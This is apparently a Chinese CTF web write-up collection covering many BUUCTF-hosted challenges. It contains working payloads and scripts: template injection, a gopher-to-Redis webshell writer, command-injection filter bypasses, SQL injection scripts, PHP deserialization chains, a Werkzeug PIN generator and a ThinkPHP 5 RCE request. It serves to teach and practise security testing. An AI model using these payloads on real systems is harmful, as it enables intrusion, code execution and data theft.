问题在于geneSign处,返回的md5是scret_key + flag.txt + scan,即<secret_key>flag.txtscan,所以直接访问/geneSign?param=flag.txtread得到的md5就是<secret_key>flag.txtreadscan的MD5,用这个MD5作为sign访问/De1ta?param=flag.txt,action为readscan,直接可以得到flag。

urllib.urlopen()可以用file://包含文件,这里过滤了,可以使用local_file:代替。

easy tornado

hint.txt里面告诉了filehash的生成方式,需要我们找到cookie_secret。

welcome.txt 写了render,flag.txt里给了flag的路径。

http://3d7b4f67-c482-4541-ba68-e1cf1b467deb.node3.buuoj.cn/file ?filename=/fllllllllllllag,提示Error,同时url变成http://3d7b4f67-c482-4541-ba68-e1cf1b467deb.node3.buuoj.cn/error?msg=Error,结合上面的render可以想到模板注入获得cookie_secret。

http://3d7b4f67-c482-4541-ba68-e1cf1b467deb.node3.buuoj.cn/error?msg={{handler.application.settings}},得到cookiesecet,e85fca1a-db5a-4d80-82aa-53d3a3d1637a ,MD5一下

1
2
3
4
5
6
7
8
import hashlib
cs = 'e85fca1a-db5a-4d80-82aa-53d3a3d1637a'
fn = /fllllllllllllag
def md5(s):
md5 = hashlib.md5
md5.update(s.encode())
return md5.hexdigest()
print(md5(cs+md5(fn)))

http://3d7b4f67-c482-4541-ba68-e1cf1b467deb.node3.buuoj.cn/file ?filename=/fllllllllllllag &filehash=a7982b91f8645e9107b05b0721a6fceb

[GKCTF2020]cve版签到

含有提示 cve-2020-7066,查一下,getheaders函数存在00截断,tips 要求结尾是123

1
?url=http:%2f%2f127.0.0.123%00www.ctfhub.com

[GKCTF2020]老八小超市儿

shopxo后台全版本获取shell复现

访问后台/admin.php?s=/admin/logininfo.html,使用admin:shopxo登录

找到 应用中心 应用商店 主题,下载粉红主题,在主题的 default/_static_/目录下添加木马,重新压缩

到 网站管理 主题管理 主题安装,上传压缩后的主题,l连接木马路径/public/static/index/lengyu/shell.php

根目录下的 flag 文件提示 flag 在 root 下,但无权限。根目录有 auto.sh,定时运行 makeflag,找到该文件,改为

1
2
import os
os.system("cat /root/flag>/1.txt")

等待一分钟,得到 flag

[GKCTF2020]EZ三剑客-EzWeb

访问 secret ,除了 127.0.0.1 以外还有两个 IP 地址,173.183.118.10/24 和 172.18.0.13/12,应该是一个 SSRF,扫描一下 173.183.118.10/24 子网里的其他主机,

过滤了 file://dict://协议,使用 HTTP 探测

使用 intruder 爆破,在 173.183.118.12 的响应中看到

1
被你发现了,但你也许需要试试其他服♂务,就在这台机子上! ...我说的是端口啦1

爆破这台机器的端口,在 6379 端口看到

1
-ERR wrong number of arguments for 'get' command

存在 redis 服务

使用 gopher 协议利用未授权访问写入 shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import urllib

protocol = r"gopher://"
ip = "173.183.118.12"
port = "6379"
shell = "\n\n<?php system(\"cat /flag\");?>\n\n"
filename = "shell.php"
path = "/var/www/html"
passwd = ""
cmd = ["flushall",
"set 1 {}".format(shell.replace(" ", "${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
payload = protocol+ip+":"+port+"/_"


def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*"+str(len(redis_arr))
for x in redis_arr:
cmd += CRLF+"$" + \
str(len((x.replace("${IFS}", " "))))+CRLF+x.replace("${IFS}", " ")
cmd += CRLF
return cmd


if __name__ == "__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

生成 payload

1
gopher://173.183.118.12:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

在 url 中访问 http://173.183.118.12/shell.php

[GKCTF2020]CheckIN

把 base64 编码后的命令传入Ginkgo后就可以执行

1
?Ginkgo=cGhwaW5mbygpOw== #phpinfo();

存在 disable_functions,禁用了一些执行系统命令的函数。本质上是一个黑名单。

1
?Ginkgo=QGV2YWwoJF9HRVRbJ2MnXSk7&c=phpinfo(); # @eval($_GET['c']);

测试成功,使用蚁剑连接,发现根目录下的 flag,不可读。存在 readflag 二进制文件。

使用 Github 上的 PHP 7.0-7.3 disable_functions bypass,项目地址,使用 gc-bypass,修改其中的命令为 /readflag,上传至 /tmp,include 上传的文件

1
?Ginkgo=QGV2YWwoJF9HRVRbJ2MnXSk7&c=include('/tmp/exploit.php');

得到 flag

[GXYCTF2019]BabyUpload

上传 .htaccess 修改类型,上传图片马,蚁剑连接。有个坑,蚁剑不能连 GET 的马。

[GXYCTF2019]禁止套娃

1
2
3
4
5
6
7
8
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
scandir() 列出 images 目录中的文件和目录。
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
array_reverse()以相反的元素顺序返回数组。
highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。

存在.git泄露,得到源码。同时存在白名单和黑名单

1
exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

[GXYCTF2019]Ping Ping Ping

命令执行,过滤了空格和很多特殊字符。

1
2
3
4
5
6
7
8
?ip=1.1.1.1|ls //发现index.php和flag.php
?ip=1.1.1.1|cat flag.php //发现过滤了空格
?ip=1.1.1.1|cat<flag.php //过滤了特殊字符
?ip=1.1.1.1|cat$IFS$1flag.php //用$IFS$1代替空格,发现过滤了flag
?ip=1.1.1.1|cat$IFS$1index.php //查看源码,发现过滤了特殊字符、bash、空格、flag
?ip=1.1.1.1;a=g;cat$IFS$1fla$a.php //利用shell变量绕过flag的过滤
?ip=1.1.1.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh //用sh执行
?ip=1.1.1.1;cat$IFS`ls` //内联执行,反引号内的命令输出作为输入

[GXYCTF2019]BabySQli

试了一下,用户名的位置会报错,只过滤了括号,=和小写的or,页面里有注释,先 base32 再 base64,select * from user where username = '$name'

有3列,试一下admin' union select 1,2,3%23,提示wrong pass。是对输入的 pw 进行了 md5,然后查表中的数据,最后

1
name=rrrrrrrrrr' union select 1,'admin','202cb962ac59075b964b07152d234b70'%23&pw=123

其中202cb962ac59075b964b07152d234b70'%23是 123 的MD5。

[GWCTF 2019]我有一个数据库

phpMyadmin 任意文件包含

payload:http://92909cd3-f955-4efa-99af-dc3d378a1ec6.node3.buuoj.cn/phpmyadmin/?target=db_datadict.php%253f/../../../../../../../../flag

[GWCTF 2019]枯燥的抽奖

check.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php")

mt_rand()漏洞,伪随机,可以爆破 seed

1
2
3
4
5
6
7
8
9
10
11
12
str1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2 = 'LTa1ZXoMsb'
str3 = str1[::-1]
length = len(str2)
res = ''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1) - 1) + ' '
break

print(res)

生成 php_mt_seed 所需的参数后

1
2
make
time ./php_mt_seed 47 47 0 61 55 55 0 61 0 0 0 61 27 27 0 61 61 61 0 61 59 59 0 61 14 14 0 61 48 48 0 61 18 18 0 61 1 1 0 61

爆破出 seed 之后重新生成 str,至少需要 PHP 7.2

1
2
3
4
5
6
7
8
9
10
11
12
<?php
mt_srand(945888871);

$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;

?>

[GYCTF2020]FlaskApp

模板注入,加密页面输入

1
{{1+1}}

把结果放到解密页面解密,得到 2,存在模板注入。payload

1
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}

可以读取到文件,但是不知道 flag 位置,需要打开 debug 模式中的 python shell,需要获取 PIN 码

PIN 码由以下几个值计算得到:

  • 服务器运行 flask 的用户名,通过读取 /etc/passwd 得到,此题目为 flaskweb
  • modname,一般为 flask.app
  • getattr(app, "\_\_name__", app.\_\_class__.\_\_name__),一般为 Flask
  • flask 库下 app.py 的绝对路径,通过报错信息可以得到,本题目为/usr/local/lib/python3.7/site-packages/flask/app.py
  • 当前网络 MAC 地址的十进制数,通过文件/sys/class/net/eth0/address得到
  • 机器ID,一般在/etc/machine-id或者/proc/sys/kerne/random/boot-i,docker 容器在/proc/sef/cgroupname=systemd:/docker/后面的一串就是ID

计算 PIN 码,在Lib\site-packages\werkzeug\debug\\_\_init__.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb', # 用户名
'flask.app', # modname
'Flask', # Flask
'/usr/local/lib/python3.7/site-packages/flask/app.py', # app.py 路径
]

private_bits = [
'2485410412221', # MAC 地址
'6743637069af7e10cfc09a74d23b62c700765cc89e2ae6d0f43150e839dde80e' # 机器ID
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

得到 PIN 码进入 python shell,使用 os 模块执行系统命令

1
2
3
import os
os.popen('ls /').read()
os.popen('cat /this_is_flag.txt').read()

[GYCTF2020]Blacklist

黑名单preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

堆叠注入 + handler 代替 select

1
2
3
1'; show tables;# 查表
1'; show columns from FlagHere;# 查列名
1'; handler FlagHere open as aaaa; handler aaaa read first; handler aaaa close;# 利用 handler 代替 select 查询数据

[HCTF] 2018 warmup

代码审计,定义了白名单,判断file参数问号之前的内容是不是在白名单里。利用文件包含漏洞(CVE-2018-2613),?file=hint.php?.././../../../../ffffllllaaaagggg,其中问号可以url编码,效果一样。

[HCTF] admin

随便注册个账号,登录,在修改密码的地方发现一行注释,给了源码

方法1: session伪造

flask将session存储在客户端(浏览器),并且不对session进行加密,只进行签名,不能防止session被读取,但可以防止被篡改,得到签名后可以伪造session

登录后看下自己的session,读取一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)

if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))

拿到内容,在config.py发现密钥 ckj123,把得到的内容中的user改为admin,user_id改为1,伪造session(https://github.com/noraj/flask-session-cookie-manager),替换掉原来的session就可以得到flag

方法2:unicode欺骗

route.py的login函数和change函数里都有strlower这个操作,而不是正常的lower。

跟进一下,看到nodeprep.prepare,对应的库是twisted。

在requirements.txt中,twisted的版本是10.2.0,最新的是18,差距很大。查一下,这个函数会自动进行如下转换

ᴀ -> A -> a

于是我们注册ᴀ dmin,登录后变成Admin,改密码的时候就会改掉admin的密码,成功登录。

方法3:条件竞争

在login和change函数中都没有进行检查,而是先赋值到name和session.name,在已有登录的session情况下,登录admin,修改密码,就可以修改掉admin的密码,但是login函数进行了判断,可以开双线程绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
import threading

def login(s, username, password):
data = {
'username': username,
'password': password,
'submit': ''
}
return s.post("http://4f7f18d7-e9dd-44c1-a10d-0ed88b615dae.node3.buuoj.cn/login", data=data)

def logout(s):
return s.get("http://4f7f18d7-e9dd-44c1-a10d-0ed88b615dae.node3.buuoj.cn/logout")

def change(s, newpassword):
data = {
'newpassword':newpassword
}
return s.post("http://4f7f18d7-e9dd-44c1-a10d-0ed88b615dae.node3.buuoj.cn/change", data=data)

def func1(s):
login(s, 'skysec', 'skysec')
change(s, 'skysec')

def func2(s):
logout(s)
res = login(s, 'admin', 'skysec')
if '<a href="/index">/index</a>' in res.text:
print('finish')

def main():
for i in range(1000):
print(i)
s = requests.Session()
t1 = threading.Thread(target=func1, args=(s,))
t2 = threading.Thread(target=func2, args=(s,))
t1.start()
t2.start()

if __name__ == "__main__":
main()

ps:复现失败,预想的结果是会把admin的密码改为skysec,就可以登录。但实际上我可能是被buuctf给ban了

[HFCTF2020]EasyLogin

Node.js 代码审计、弱类型、依赖库缺陷

static/js/app.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
/**
* 或许该用 koa-static 来处理静态文件
* 路径该怎么配置?不管了先填个根目录XD
*/

function login() {
const username = $("#username").val();
const password = $("#password").val();
const token = sessionStorage.getItem("token");
$.post("/api/login", {username, password, authorization:token})
.done(function(data) {
const {status} = data;
if(status) {
document.location = "/home";
}
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}

function register() {
const username = $("#username").val();
const password = $("#password").val();
$.post("/api/register", {username, password})
.done(function(data) {
const { token } = data;
sessionStorage.setItem('token', token);
document.location = "/login";
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}

function logout() {
$.get('/api/logout').done(function(data) {
const {status} = data;
if(status) {
document.location = '/login';
}
});
}

function getflag() {
$.get('/api/flag').done(function(data) {
const {flag} = data;
$("#username").val(flag);
}).fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}

提示配置的静态目录是程序的根目录,可能存在任意文件读取,直接访问/app.js,得到源码。

[MRCTF2020]Ez_bypass

1
2
?id[]=1&gg[]=2&passwd[]=1234567
passwd=1234567asdf

md5 一个数组会返回 false,两个 false 相等。

利用弱类型,1234567asdf 转换为数字就是 1234567

[MRCTF2020]你传你🐎呢

普通的文件上传,传文件时需要修改 content type

传一个 .htaccess

1
SetHandler application/x-httpd-php

传一个 .jpg 格式的🐎就可以了。

1
c=show_source('/flag');

[MRCTF2020]PYWebsite

F12,直接看到 flag.php,进去改XFF,127.0.0.1.

[MRCTF2020]Ezpop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else
$a=new Show;
highlight_file(__FILE__);
}

反序列化,POP链构造。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
class Modifier {
protected $var = 'php://filter/convert.base64-encode/resource=flag.php';
public function append($value){
include($value);
// -1 var = flag.php
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
// -4 str = Test
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p ;

public function __get($key){
$function = $this->p;
return $function();
// -2 p = Modifier
}
}
$s1 = new Show();
$s2 = new Show();
$s1->source = $s2;
$s2->str = new Test();
$s2->str->p = new Modifier();
echo urlencode(serialize($s1));
?>
  • 触发 Show 的 toString 方法,需要一个 Show 对象(s1)的 source 是另一个 Show 对象。调用顺序$s1->__wakeup$s1->source->__toString()
  • 触发 Test 的 get 方法,可以把 s2 的 str 属性设置为一个 Test 对象,Show 的 toString 方法访问了 source 属性,而 Test 类不存在这个属性,可以触发。调用顺序$s2->str->source$s2->str->__get()
  • 触发 Modifier 的 invoke 方法,在 Test 类中可以将 p 设置为 Modifier 的对象,可以触发。同时将 Modifier 的 var 变量设置为伪协议读取 flag.php。调用顺序$s2->str->p()$s2->str->p->__invoke()

最后的 urlencode 是必须的

[NPUCTF2020]ReadlezPHP

反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = -1;
$this->b = "phpinfo";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$s = new HelloPhp();
echo serialize($s);
?>

phpinfo 可以接受参数,-1 表示显示所有信息,flag 在 phpinfo 中

1
time.php?data=O:8:%22HelloPhp%22:2:{s:1:%22a%22;i:-1;s:1:%22b%22;s:7:%22phpinfo%22;}

[极客大挑战 2019]PHP

题目提示有备份,下载www.zip。

根据class.php,我们需要传入一个Name对象,username是admin,password是100,同时还要绕过wakeup方法。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Name{
private $username;
private $password;
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$f = new Name('admin',100);
echo serialize($f);
?>

得到序列化后的字符串O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;},其中username和password都是private的变量,Name前后各有一个空字符,所以长度为14。为了绕过wakeup,将O:4:"Name":2后面的2改为3(当说明的变量数大于实际变量数可以绕过wakeup方法)。

由于含有空字符,使用python发送请求。

1
2
3
4
5
6
import requests

url = 'http://54603761-44c7-4fe6-81de-add413bc8939.node3.buuoj.cn/'
params = {'select': 'O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}'}
r = requests.get(url, params=params)
print(r.text)

[极客大挑战 2019]Http

源代码里看到Secret.php,根据提示改一下referer,xff和useragent

[极客大挑战 2019]Knife

用菜刀或者蚁剑连一下,flag在根目录

[极客大挑战 2019]EasySQL

admin' or 1=1 #

[极客大挑战 2019]HardSQL

过滤了 ascii, substr, by, =, >, union, and, *。

报错注入,用 updatexml,用like代替=,?username=admin%27or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=123?username=admin%27or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))%23&password=123

[极客大挑战 2019]Secret File

查看源代码,发现一个Archive_room.php,点Secret,提示回去再看看。

抓包,发现secr3t.php

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>

file=flag.php,提示我就在这里但你看不到。file=php://filter/read=convert.base64-encode/resource=flag.php,base64解密,得到flag

[强网杯] 随便注

输入引号,报错

1' or 1=1#,查询出所有内容

0' union select database()#,得到waf:return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

尝试堆叠注入,用char绕过waf

1
2
3
4
5
6
7
8
9
10
11
12
payload = "0';set @s=concat(%s);PREPARE a FROM @s;EXECUTE a;"
exp = 'select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()'
# 查表名
# exp = "select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='1919810931114514'"
# 查列名
# exp = "select flag from `1919810931114514`"
# 查flag,表名要使用反引号
res = ''
for i in exp:
res += "char(%s),"%(ord(i))
my_payload = payload%(res[:-1])
print my_payload

得到类似下面的结果

1
0';set @s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(103),char(114),char(111),char(117),char(112),char(95),char(99),char(111),char(110),char(99),char(97),char(116),char(40),char(84),char(65),char(66),char(76),char(69),char(95),char(78),char(65),char(77),char(69),char(41),char(32),char(102),char(114),char(111),char(109),char(32),char(105),char(110),char(102),char(111),char(114),char(109),char(97),char(116),char(105),char(111),char(110),char(95),char(115),char(99),char(104),char(101),char(109),char(97),char(46),char(84),char(65),char(66),char(76),char(69),char(83),char(32),char(119),char(104),char(101),char(114),char(101),char(32),char(84),char(65),char(66),char(76),char(69),char(95),char(83),char(67),char(72),char(69),char(77),char(65),char(61),char(100),char(97),char(116),char(97),char(98),char(97),char(115),char(101),char(40),char(41));PREPARE a FROM @s;EXECUTE a;

也可以交换1919810931114514和words两个表的名字,这样正常查询就可以得到1919810931114514表里的内容

[极客大挑战 2019]FinalSQL

注入点在点击按钮出现的 search.php/id=1 中,用异或符号进行盲注。

1
2
3
4
5
6
7
8
import requests
url = "http://4e80936d-618a-4d1b-8913-910f41a86c5f.node3.buuoj.cn/search.php"
for i in range(1,20):
for j in range(1,128):
d ="?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),'"+str(i)+"',1))='"+str(j)+"')^1"
r = requests.get(url+d)
if 'Click' in r.text:
print(chr(j))

[RoarCTF 2019]Easy Java

Java的站,点help看到filename=help.docx,可能存在文件包含。

java应用的安全目录是WEB-INF,访问其中的文件要通过 web.xml 进行相应映射才能访问。包括:

  • WEB-INF/web.xml,Web应用配置文件,描述servlet和其他应用组件配置及命名规则。
  • WEB-INF/classes/,包含站点所有用的class文件,包括 servlet class 和非servlet class,不能包含在 .jar 文件中。
  • WEB-INF/lib/,存放web应用需要的 jar 文件,放置仅在这个应用中要求使用的 .jar 文件,例如数据库驱动 jar文件。
  • WEB-INF/src/,源码目录,按包结构放置各个 java 文件。
  • WEB-INF/database.properties,数据库配置文件。

访问WEB-INF/web.xml,用POST方法?,可以看到

1
2
3
4
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>

访问这个 class 文件,WEB-INF/classes/com/wm/ctf/FlagController.class,可以看到一串 base64,解码得到flag。

[BJDCTF2020]Old Hack

ThinkPHP 5 的RCE,直接上,?s=captcha,POST传_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag

[BJDCTF2020]Easy MD5

看响应头里有Hint: select * from 'admin' where password=md5($pass,true),true是返回的十六进制MD5转化为字符串,输入ffifdyop,这个字符串转化之后是'or'6....

然后是弱类型,传数组就可以a[]=1&b[]=2

然后是强类型,用 fastcoll,先生成两个md5值一样的文件

1
./fastcoll_v1.0.0.5.exe source.txt

读取文件的时候要用二进制格式,因为含有文本格式解码不了的字符

1
2
3
4
5
6
7
8
9
10
import requests

url = 'http://337b4ffe-e9cf-4213-a211-e49ab794d636.node3.buuoj.cn/levell14.php'
with open('./1.txt', 'rb') as f1:
with open('./2.txt', 'rb') as f2:
t1 = f1.read()
t2 = f2.read()
data = {'param1': t1,'param2': t2}
r = requests.post(url, data=data)
print(r.text)

[BJDCTF 2nd]假猪套天下第一

随便输一个用户名和密码,看到提示L0g1n.php,在里面看到要99年后访问。在Cookie的 time 里改一个很大的数字,提示要从本地访问。X-Forwarded-For不行,换一个Client-ip。要从gem-love.com访问,改Referer。要从Commodo 64访问,查一下完整的 UA,是Commodore 64。要求邮箱,用From头。需要代理,用Via头。

Header 解释 示例
Accept 指定客户端能够接收的内容类型 Accept: text/plain, text/html,application/json
Accept-Charset 浏览器可以接受的字符编码集。 Accept-Charset: iso-8859-5
Accept-Encoding 指定浏览器可以支持的web服务器返回内容压缩编码类型。 Accept-Encoding: compress, gzip
Accept-Language 浏览器可接受的语言 Accept-Language: en,zh
Accept-Ranges 可以请求网页实体的一个或者多个子范围字段 Accept-Ranges: bytes
Authorization HTTP授权的授权证书 Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
Cache-Control 指定请求和响应遵循的缓存机制 Cache-Control: no-cache
Connection 表示是否需要持久连接。(HTTP 1.1默认进行持久连接) Connection: close
Cookie HTTP请求发送时,会把保存在该请求域名下的所有cookie值一起发送给web服务器。 Cookie: $Version=1; Skin=new;
Content-Length 请求的内容长度 Content-Length: 348
Content-Type 请求的与实体对应的MIME信息 Content-Type: application/x-www-form-urlencoded
Date 请求发送的日期和时间 Date: Tue, 15 Nov 2010 08:12:31 GMT
Expect 请求的特定的服务器行为 Expect: 100-continue
From 发出请求的用户的Email From: user@email.com
Host 指定请求的服务器的域名和端口号 Host: www.zcmhi.com
If-Match 只有请求内容与实体相匹配才有效 If-Match: “737060cd8c284d8af7ad3082f209582d”
If-Modified-Since 如果请求的部分在指定时间之后被修改则请求成功,未被修改则返回304代码 If-Modified-Since: Sat, 29 Oct 2010 19:43:31 GMT
If-None-Match 如果内容未改变返回304代码,参数为服务器先前发送的Etag,与服务器回应的Etag比较判断是否改变 If-None-Match: “737060cd8c284d8af7ad3082f209582d”
If-Range 如果实体未改变,服务器发送客户端丢失的部分,否则发送整个实体。参数也为Etag If-Range: “737060cd8c284d8af7ad3082f209582d”
If-Unmodified-Since 只在实体在指定时间之后未被修改才请求成功 If-Unmodified-Since: Sat, 29 Oct 2010 19:43:31 GMT
Max-Forwards 限制信息通过代理和网关传送的时间 Max-Forwards: 10
Pragma 用来包含实现特定的指令 Pragma: no-cache
Proxy-Authorization 连接到代理的授权证书 Proxy-Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
Range 只请求实体的一部分,指定范围 Range: bytes=500-999
Referer 先前网页的地址,当前请求网页紧随其后,即来路 Referer: http://www.zcmhi.com/archives…
TE 客户端愿意接受的传输编码,并通知服务器接受接受尾加头信息 TE: trailers,deflate;q=0.5
Upgrade 向服务器指定某种传输协议以便服务器进行转换(如果支持) Upgrade: HTTP/2.0, SHTTP/1.3, IRC/6.9, RTA/x11
User-Agent User-Agent的内容包含发出请求的用户信息 User-Agent: Mozilla/5.0 (Linux; X11)
Via 通知中间网关或代理服务器地址,通信协议 Via: 1.0 fred, 1.1 nowhere.com (Apache/1.1)
Warning 关于消息实体的警告信息 Warn: 199 Miscellaneous warning

[RoarCTF] easy calc

提示加了waf,看一下calc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

num只允许输入数字和一些符号,把查询字符串?num=改为?%20num可以绕过,而且在calc.php处理时是一样的,原理是$_GET$_POST解析字符串的问题,可以用来bypass。

接下来只需要绕过引号

?%20num=var_dump(scandir(chr(47)))

列出当前目录下的文件,可以看到f1agg,读一下这个文件

?%20num=var_dump(file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

得到flag

[SUCTF] easy sql

查询语句是select $_POST['query'] || flag from flag(不知道怎么来的)

